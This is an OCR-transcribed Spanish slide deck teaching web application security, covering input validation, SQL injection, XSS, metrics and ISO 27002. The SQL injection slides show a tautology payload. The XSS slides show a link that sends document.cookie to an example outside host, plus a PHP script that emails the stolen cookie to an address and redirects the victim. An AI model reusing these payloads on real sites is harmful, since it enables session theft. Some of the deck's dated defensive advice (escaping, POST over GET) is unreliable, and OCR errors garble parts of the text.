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Mitos

1) Nuestros productos son libres de
errores y seguros desde el diseno!

2) Los clientes pagamos por la
funcionalidad no por la seguridad!

3) la seguridad es algo que esta implicito
en el desarrollo de software!

4) La seguridad debe ser explicitamente
requerida por el cliente!
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Introduccion

e Uno de los primeros estudios (1976) en
seqguridad de aplicaciones y privacidad de
la iInformacion en sistemas operativos se
denomino el proyecto RISOS del inglés
“Research Into Secure Operating
Systems” [1].
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Proyecto RISOS (1/3)

* El proyecto”’RISOS” propone y describe
los errores mas comunes en el desarrollo

de los sistemas operativos,
* Los divide en 7 categorias:
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Proyecto RISOS (2/3)

. Validacion incompleta de parametros
. Validacion inconsistente de parametros

. Exceso de confianza al compartir E’P
privilegios y datos confidenciales en

forma implicita

. Validacion asincronica e Inadecuada
serializacion de datos
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Proyecto RISOS (3/3)

5. Inadecuada ldentificacion, Autenticacion y
Autorizacion

6. Pocas prohibiciones a las violaciones y
bajos controles en limites de recursos

/. Posibilidad de aprovechamiento de
errores de logica en el codigo
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Introduccion

 Hoy encontramos una clasificacion
sistematica de la “seqguridad de las
aplicaciones” mucho mas compleja por la
evolucion del web, algunas fuentes
Interesantes son:
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Taxonomia Fortify (1/4):

 Taxonomia Fortify [2] que |a clasifica en

las siguientes categorias:

« Validacion de entrada y de
representacion de datos

e Abuso de los API
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Taxonomia Fortify (2/4):

o Caracteristicas de Seguridad:
Autenticacion, control de acceso,
criptografia, confidencialidad y control de
privilegios.
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Taxonomia Fortify (3/4):

 Tiempo y el Estado: Tiene que ver con el
orden en que se comunican los entes en
la computacion distribuida

* Errores: Una aplicacion que muestra
muchos errores a los posibles atacantes
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Taxonomia Fortify (4/4):

« Calidad del cddigo: Un atacante pondra a
prueba rapidamente a una aplicacion con
baja calidad

 Encapsulamiento: Diferentes aplicaciones
en un explorador no podran compartir los
datos, es decir deben existir limites entre
los datos entre diferentes aplicaciones.
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Antecedentes
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Antecedentes

 El 92% de las vulnerabilidades estan en el
software segun NIST (Segun: El Instituto
nacional de estandares y tecnologia).

* En los ultimos diez afnos se ha encontrado
gue hay un crecimiento anual del 43% de
vulnerabilidades en las aplicaciones mas
Importantes segun CERT.
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Antecedentes

e Se dice segun Lee Babin en “Beginning
Ajax with PHP” [3] que la superficie de
ataque en las aplicaciones se forma por
todos los puntos de entrada a la
aplicacion.
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Superficie de atague

e Es decir cada punto de entrada a una
aplicacion podria permitir que una
amenaza se aproveche de una
vulnerabilidad y asi se materialice un

riesgo.
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Superficie de ataque

 Entendiendo por amenaza un evento que
se aprovecha de una falla o vulnerabilidad
y por riesgo la posibilidad de perdida

 Vulnerabilidad = Falla,
e Error dentro del activo g

e Falla inherente
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Soluciones (1/3)

* Es por esto que hay un alto crecimiento de
estandares y normas como la ISO-
27002:2005 donde se le dedica a la
seguridad de las aplicaciones todo un

dominio
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Soluciones (2/3)

e Ahora la aparicion de estandares
Implementados en frameworks como el
OWASP generan madurez alrededor de la
seguridad de las aplicaciones.
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Soluciones (3/3)

e Es interesante leer OWASP
(www.owasp.org), OWASP es un proyecto

abierto de seguridad en aplicaciones Web
compuesto por una comunidad abierta y
libre a nivel mundial enfocada en mejorar
la seguridad de las aplicaciones de

software.
@ FACIS



IDisculpen!
Un resumen:
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Validacion de campos de
entradas de usuarios (1/8)

» Este es el error mas frecuente en la
programacion de las aplicaciones, el no
validar los caracteres especiales o meta
caracteres cuando el usuario esta
capturando datos en un formulario [4].

Chris Snyder and Michael Southwell, Pro PHP Security, Apress, 2005. ISBN 1-59059-508-4
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Validacion de campos de
entradas de usuarios (2/8)

* Los meta caracteres o caracteres
especiales son:

e i 1#S3%&/(O)|\{} “=;:.,<>-_ A~
¢? ~*[I

* Estos tienen un significado diferente
dentro de las aplicaciones,
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“Validacién de campos de

entradas de usuarios (3/8)

 Por ejemplo el apostrofe invertido
‘comando alrededor de la palabra
comando,

e Hara gque internamente se ejecute el
comando en mencion dentro del sistema

operativo.
E%! IACIS




' Validacién de campos de
entradas de usuarios (4/8)

* Esto obviamente no es lo deseado por el
programador y esto se convierte en una
vulnerabilidad o falla que puede ser
aprovechada por un usuario mal
Intencionado.
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Validacion de campos de
entradas de usuarios (5/8)

e Se deben validar los tipos de los datos
para evitar por ejemplo que en un campo
de imagenes se le envie un archivo que
No sea una imagen.

i)
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Validacion de campos de
entradas de usuarios (6/8)

e Se debe validar gue no se acepten dentro
del programa el envio de archivos
mayores al maximo permitido, esto podria
causar una lentitud del sistema o una
caida del sistema.
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Validacion de campos de
entradas de usuarios (7/8)

 No se deben aceptar datos de mayor
longitud que el maximo permitido al definir
el campo en las bases de datos o
formularios.

JPPACIS



Validacion de campos de
entradas de usuarios (8/8)

e Se deben evitar buffers overflows no
permitiendo que una entrada mayor a la
capacidad de un campo sea escrito en la
memoria de otro campo.

e Es decir no se debe sobrescribir la
iInformacion de otro campo en RAM.
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Inyeccion SQL (1/7)

* La informacion almacenada en las bases
de datos es parte de la informacion que
podria ser valiosa como activo de
iInformacion de la empresa.

e Un acceso no autorizado a la informacion
Impacta los activos de la organizacion.
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Inyeccion SQL (2/7)

 Generalmente los usuarios deben E
participar en la construccion de la
Instruccion SQL gue se desea usar para
consultar, crear, modificar o borrar datos.

 Cuando en un formulario el usuario rellena
la iInformacion que filtra los datos, el
usuario podria incluir caracteres con un fin

mal intencionado. JACIS



Inyeccion SQL (3/7)

 Es aca, en esta inocente captura de datos
gue ocurre la inyeccion SQL.

* Por ejemplo la siguiente consulta espera
un parametro del usuario:

e Select * from gn_paise where cod_paises

_ @ FACIS



Inyeccion SQL (4/7)

Se debe observar el apostrofe al final
esperando ser cerrado cuando llegue la
informacion.

Si el usuario digito en el campo la
siguiente informacion:

026" or "1=1 Iﬁ\ﬂ

Porqgue no cerré con una comilla?
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Inyeccion SQL (5/7)

e Cuando el programador concatene su
comando previo con la informacion del
usuario se vera como sigue:

o Select * from gn_paise where cod_paises
="026" or "1=1"

JPPACIS



Inyeccion SQL (6/7) %@(\

e Si el comando SQL fuera update o delete
entonces la integridad y la disponibilidad
de la informacion se verian altamente
Impactadas.

 Una recomendacion para evitar este
atague es que todo campo debe estar
encerrado entre comillas simples, nunca
entre comillas dobles. <5ACIS



Inyeccion SQL (7/7)

e Siempre anteceda un caracter de escape \
a cualquier caracter especial que desee
para SQL.

e Este hara fallar a la consulta.

e Valide la existencia de metacaractares
para evitar este tipo de ataque.

@ - X
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Cross-Site Scripting (1/9)

e La palabra cross-site nos indica que en el
ataque intervienen por lo menos dos
servidores y lo que busca este ataque
especializado es ejecutar un script de
comandos con fines malvados
(maliciosos) en el browser del cliente
residente en el PC de la victima.

JPPACIS




Cross Site Scripting (2/9)

e Esto se logra por ejemplo enganando ar
usuario mediante un correo gque parece
ser interesante para la victima,

e E| atacante envia un correo con un URL
malicioso invitando al usuario a sequirlo,

e Cuando el usuario hace click sobre el
URL, lo lleva a un servidor web que
contiene los scripts que haran el atague

ACIS




Cross-Site Scripting (3/9)

* Este es un ejemplo de un URL
sospechoso embebido en un correo
electronico inocente:

e <ahref=
http://www.lacositarica.com.co/quao.php?s
ubject=Linda>!"Haga click y hagase
ricoll</a>

JPPACIS



Cross-Site Scripting (4/9)

* Y dentro del servidor un comando PHP
para recibir el subject seria
$ GET['subject’], esto le da el poder al
atacante de saber que el usuario cayo en

la trampa.
gﬁ PACIS




Cross-Site Scripting (5/9)

 Que nos da razones muy validas para
crear la siguiente politica de seguridad:

e “Los programas clientes no deben
descargar automaticamente imagenes u
objetos de sitios no confiables”

SUBE POR SU

CUENTAY RIESGO

JPPACIS



Cross-Site Scripting (6/9)

e Este es un ejemplo de un URL malicioso
con comandos javascript embebido en
una pagina web que se roba los cookies

del usuario:

SUBE POR SU

CUENTAY RIESGO

JPPACIS



Cross-Site Scripting (7/9)

<a href = “#” onmouseover =

“window.location=’
http://www.lacositarica.com.co/quao.php?c
ookie=" +
document.cookie.escape();”>!'Mueve el
mouse, que ricoll</a>
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Cross-Site Scripting (8/9)

« Sideseamos enviar la informacion
confidencial robada por medio del correo
electronico este seria un buen ejemplo
desde el punto de vista del servidor:

@
U

JPPACIS



Cross-Site Scripting (9/9)

<?php
$cookie =% GET[ cookie’];
$url=$% SERVER[HTTP_REFERER];

mail("acarvajalr@gmail.com”,”Otro que
cae’,”Del sitio $url y me robe $cookie™);

header("Location: “.$url);
7>

-
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Prevencion XSS (1/5)

1. Revisar los puntos de entrada a los
programas desde sus interfaces de
usuarios mediante un mapa flujo de datos
entre los programas y las interfaces de
usuarios

SUBE POR SU

CUENTAY RIESGO

JPPACIS



Prevencion XSS (2/5)

No utilizar el método GET para enviar
datos desde las formas a los programas,
en cambio debe usarse POST para el
envio de datos desde las formas de datos
de usuarios hacia cualquier programa del
sistema.

SUBE POR SU

CUENTAY RIESGO
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Prevencion XSS (3/5)

e SSL es un metodo de transporte de datos
seguros, y solo podria evitar el ataque
localmente, esta tecnologia no previene
los ataques XSS.
(http://cqisecurity.com/articles/xss-
faq.html#ssl)

e Codifigue el codigo HTML como no HTML
S| es una entrada de datos. En PHP
HTMLEntities(). FACIS




Prevencion XSS (4/5)

 Se deben desactivar (sanitize) los URL en
las entradas de los usuarios.

e EJ: PHP parse_url().

* Evalle dentro de su programa que el URL
de la forma sea igual al URL del servidor
de aplicaciones.

JPPACIS




Prevencion XSS (5/5)

e Trate de predecir y validar que el usuario
responda con datos del tipo de dato que
se esta capturando.

* Pruebe sus scripts con el software open
source http://chxo.com/scripts/safe htmil-
test.php
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Herramientas

Algunas herramientas
comerciales para hacer analisis
de vulnerabilidades de
aplicaciones

JPPACIS



Herramientas

1. Core Impact Pro: www.coresecurity.com
2. Acunetix: www.acunetix.com

3. Appscan: www.ilbm.com

4. N-stalker: www.nstalker.com
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Metricas
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Por qué tener metricas para medir
riesgos en aplicaciones?

"La medicion es el primer paso para el control y la mejora. Si algo no se
puede medir, no se puede entender. Si no se entiende, no se puede
controlar. Si no se puede controlar, no se puede mejorar.” H.James
Harrington.

“Recuerde que un buen sistema de métricas en seguridad
informatica, no busca dar las mejores respuestas o indicadores, sino
la capacidad organizacional para avanzar en la conquista de la falsa

sensacion de seguridad”, Jeimy cano.
FACIS



Definicidon de métrica

 “Es la medida de la eficacia de los
esfuerzos en seguridad de una
organizacion a lo largo del tiempo” [5]

« Tomado de: David Chapin and Steven
Akridge, How can Security be Measured,
ISACA, 2005.

JPPACIS
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Errores frecuentes en la definicion de
métricas

* Querer ajustarse a los dominios o variables definidas en
los estandares de la industria. :

* lIgnorar la dinamica propia de la seguridad en la
organizacion. . .

* N6 comprender los riesgos de la organizacion y la
percepcion de los mismos. ; 4

* Querer abarcar toda la gestidon de seguridad en el primer
ejercicio. . )

* Ignorar las expectativas de alta gerencia sobre el tema.

* Desconocer las caracteristicas de la cultura
organizacional .4 . _ R

* Ignorar que es un ejercicio de evaluacion y diagnostico

@ Zona desconocida | Modo protegido: activado

-
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CEl Computer Crime & Security Survey 2008.pdf - Adobe Reader
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Awareness Training Metrics

Awareness Training Metrics

Other =%

Buscar

Don't use awareness training

Don't measure effectiveness

Volume and type of incidents |=

Volume and type of help desk issues

Staff reports of experiences

Social engineering testing (=

Mandatory written/digital test

0

2008: 480 Respondents |

rrichardson@techweb.com
Twitter: twitter.com/cryptorobert




COmo deben ser las métricas?

Deberian medir cosas significativas para
la organizacion:

e Deberian ser reproducibles.
* Deberian ser objetivas e imparciales.

* Deberian ser capaces de medir algun
tipo de progresion a lo largo del tiempo.

JPPACIS




Que dice ISO 27002:2005 ?

JPACIS



Etapas para disenar un SGSI

Andlisis de riesgos: la base de todo el sistema de gestion

SGSI: 1-Politica
SGSI: 2-Organizacion

SGSI: 3-Gestion de activos

SGSI: 4-Personal

SGSI: 5-Seguridad Fisica

SGSI: 6-Comunicaciones y operaciones

SGSI: 7-Control de acceso

SGSI: 8-Adquisicion, mantenimiento y desarrollo de Sist. Inf.
SGSI: 9-Gestion de incidentes

SGSI: 10-Gestion continuidad del negocio

SGSI: 11-Legislaciéon Vigente
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SGSI: Dominio No 8: Adquisicion, mantenimiento y
desarrollo de Sistemas de Informacion

e Analisis de vulnerabilidades de la red

e Analisis de vulnerabilidades de las
aplicaciones (SQL injection, XSS...)

e Nota: No debemos usar la norma como
una camisa de fuerza...debemos
ajustarnos a la dindmica del riesgo del

negocio... <BACIS




Conclusiones (1/3):

 No es lo mismo vulnerabilidades de red
gue vulnerabilidades de aplicaciones

* El hacking ético va mas alla del analisis de
vulnerabilidades (quita los falsos positivos)

 La mayoria de las organizaciones no
saben gue por medio de su portal (eJ.
correo, intranet, etc) pueden tener
incidentes de seguridad <5ACIS



Conclusiones (2/3):

La mayoria de programadores no validan
los ataques mas basicos de:

Meta caracteres en campos de entrada
Validacion del tipo de campo
Validacion del tamafio del campo

SQL Injection
XSS




Conclusiones (3/3):

e Se debe crear un sistema de gestion de la
seguridad con métricas que
mensualmente nos indiguen como vamos
en la disminucion del riesgo

* Se debe tener en cuenta la percepcion de
la junta directiva, es decir que desean de
la seguridad informatica desde el punto de

vista estratégico. <§
ACIS
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